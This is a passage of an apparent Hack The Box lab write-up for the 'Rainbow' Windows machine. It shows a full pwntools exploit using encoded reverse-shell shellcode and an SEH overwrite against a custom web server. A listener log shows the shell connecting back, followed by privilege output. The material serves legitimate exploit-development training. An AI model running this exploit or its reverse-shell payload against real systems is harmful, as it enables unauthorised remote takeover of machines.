shellcode += b"\x71\x52\xcd\xd8\x2b\x40\x0c\xbc\x14\xc0\xcb"
shellcode += b"\x7d\x9a\xc9\x9e\x3a\xb8\xd9\x66\xc2\x84\x8d"
shellcode += b"\x36\x95\x52\x7b\xf1\x4f\x15\xd5\xab\x3c\xff"
shellcode += b"\xb1\x2a\x0f\xc0\xc7\x32\x5a\xb6\x27\x82\x33"
shellcode += b"\x8f\x58\x2b\xd4\x07\x21\x51\x44\xe7\xf8\xd1"
shellcode += b"\x74\xa2\xa0\x70\x1d\x6b\x31\xc1\x40\x8c\xec"
shellcode += b"\x06\x7d\x0f\x04\xf7\x7a\x0f\x6d\xf2\xc7\x97"
shellcode += b"\x9e\x8e\x58\x72\xa0\x3d\x58\x57\xa0\xc1\xa6"
shellcode += b"\x58"

Our final attack method is to overwrite the shellcode and fill the SEH structure with A's. The controller jumps to nseh by jumping from one short jump to another short jump to the shellcode, thereby executing a reverse shell.

#!/usr/bin/python3
from pwn import remote, p32, asm

shellcode =  b""
shellcode += b"\xfc\xbb\xa4\x19\xa0\x48\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x58\xf1\x22\x48\xa0\x02\x43\xc0"
shellcode += b"\x45\x33\x43\xb6\x0e\x64\x73\xbc\x42\x89\xf8"
shellcode += b"\x90\x76\x1a\x8c\x3c\x79\xab\x3b\x1b\xb4\x2c"
shellcode += b"\x17\x5f\xd7\xae\x6a\x8c\x37\x8e\xa4\xc1\x36"
shellcode += b"\xd7\xd9\x28\x6a\x80\x96\x9f\x9a\xa5\xe3\x23"
shellcode += b"\x11\xf5\xe2\x23\xc6\x4e\x04\x05\x59\xc4\x5f"
shellcode += b"\x85\x58\x09\xd4\x8c\x42\x4e\xd1\x47\xf9\xa4"
shellcode += b"\xad\x59\x2b\xf5\x4e\xf5\x12\x39\xbd\x07\x53"
shellcode += b"\xfe\x5e\x72\xad\xfc\xe3\x85\x6a\x7e\x38\x03"
shellcode += b"\x68\xd8\xcb\xb3\x54\xd8\x18\x25\x1f\xd6\xd5"
shellcode += b"\x21\x47\xfb\xe8\xe6\xfc\x07\x60\x09\xd2\x81"
shellcode += b"\x32\x2e\xf6\xca\xe1\x4f\xaf\xb6\x44\x6f\xaf"
shellcode += b"\x18\x38\xd5\xa4\xb5\x2d\x64\xe7\xd1\x82\x45"
shellcode += b"\x17\x22\x8d\xde\x64\x10\x12\x75\xe2\x18\xdb"
shellcode += b"\x53\xf5\x5f\xf6\x24\x69\x9e\xf9\x54\xa0\x65"
shellcode += b"\xad\x04\xda\x4c\xce\xce\x1a\x70\x1b\x40\x4a"
shellcode += b"\xde\xf4\x21\x3a\x9e\xa4\xc9\x50\x11\x9a\xea"
shellcode += b"\x5b\xfb\xb3\x81\xa6\x6c\xb6\x5f\xa6\x46\xae"
shellcode += b"\x5d\xb6\x97\x95\xeb\x50\xfd\xf9\xbd\xcb\x6a"
shellcode += b"\x63\xe4\x87\x0b\x6c\x32\xe2\x0c\xe6\xb1\x13"
shellcode += b"\xc2\x0f\xbf\x07\xb3\xff\x8a\x75\x12\xff\x20"
shellcode += b"\x11\xf8\x92\xae\xe1\x77\x8f\x78\xb6\xd0\x61"
shellcode += b"\x71\x52\xcd\xd8\x2b\x40\x0c\xbc\x14\xc0\xcb"
shellcode += b"\x7d\x9a\xc9\x9e\x3a\xb8\xd9\x66\xc2\x84\x8d"
shellcode += b"\x36\x95\x52\x7b\xf1\x4f\x15\xd5\xab\x3c\xff"
shellcode += b"\xb1\x2a\x0f\xc0\xc7\x32\x5a\xb6\x27\x82\x33"
shellcode += b"\x8f\x58\x2b\xd4\x07\x21\x51\x44\xe7\xf8\xd1"
shellcode += b"\x74\xa2\xa0\x70\x1d\x6b\x31\xc1\x40\x8c\xec"
shellcode += b"\x06\x7d\x0f\x04\xf7\x7a\x0f\x6d\xf2\xc7\x97"
shellcode += b"\x9e\x8e\x58\x72\xa0\x3d\x58\x57\xa0\xc1\xa6"
shellcode += b"\x58"

back = asm("jmp $-0x28f")

offset = 660
junk = b"A" * (offset - len(shellcode + back))

nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;

payload  = b""
payload += shellcode
payload += junk
payload += back
payload += nseh + seh

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("10.129.234.171", 8080)
shell.send(content)
shell.interactive()

After running the exploit script, we can get the shell as rainbow

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ nc -lnvp 443                                                        
listening on [any] 443 ...
connect to [10.10.14.42] from (UNKNOWN) [10.129.234.171] 51808
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\rainbow>whoami
whoami
rainbow\rainbow

Privilege Escalation

I would check the groups and privilege firstly

C:\rainbow>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Disabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

C:\rainbow>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes                                                     
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\BATCH                                            Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group             
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group             
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288

We can see that we are now local administrators.

Description

Rainbow is a Medium-difficulty Windows machine centered around exploiting a custom web server (Rainbow 0.1) running on a dynamically assigned port. Initial enumeration reveals an open FTP service allowing anonymous login, which exposes the server binary, a developer note, and a watchdog restart script. Static and dynamic analysis of the binary uncovers a stack-based buffer overflow vulnerability triggered via a malformed HTTP request. Due to the absence of modern exploit mitigations, the vulnerability is leveraged through an SEH (Structured Exception Handler) overwrite technique. A POP; POP; RET gadget within the binary is used to redirect execution flow back to attacker-controlled shellcode placed in the pre-SEH buffer region, using a chain of short jumps to navigate around a null-byte truncation constraint. Successful exploitation yields a reverse shell as the rainbow service account, which is found to be a member of the local Administrators group with High Mandatory Level integrity and SeImpersonatePrivilege enabled, granting full control over the machine without requiring further privilege escalation steps.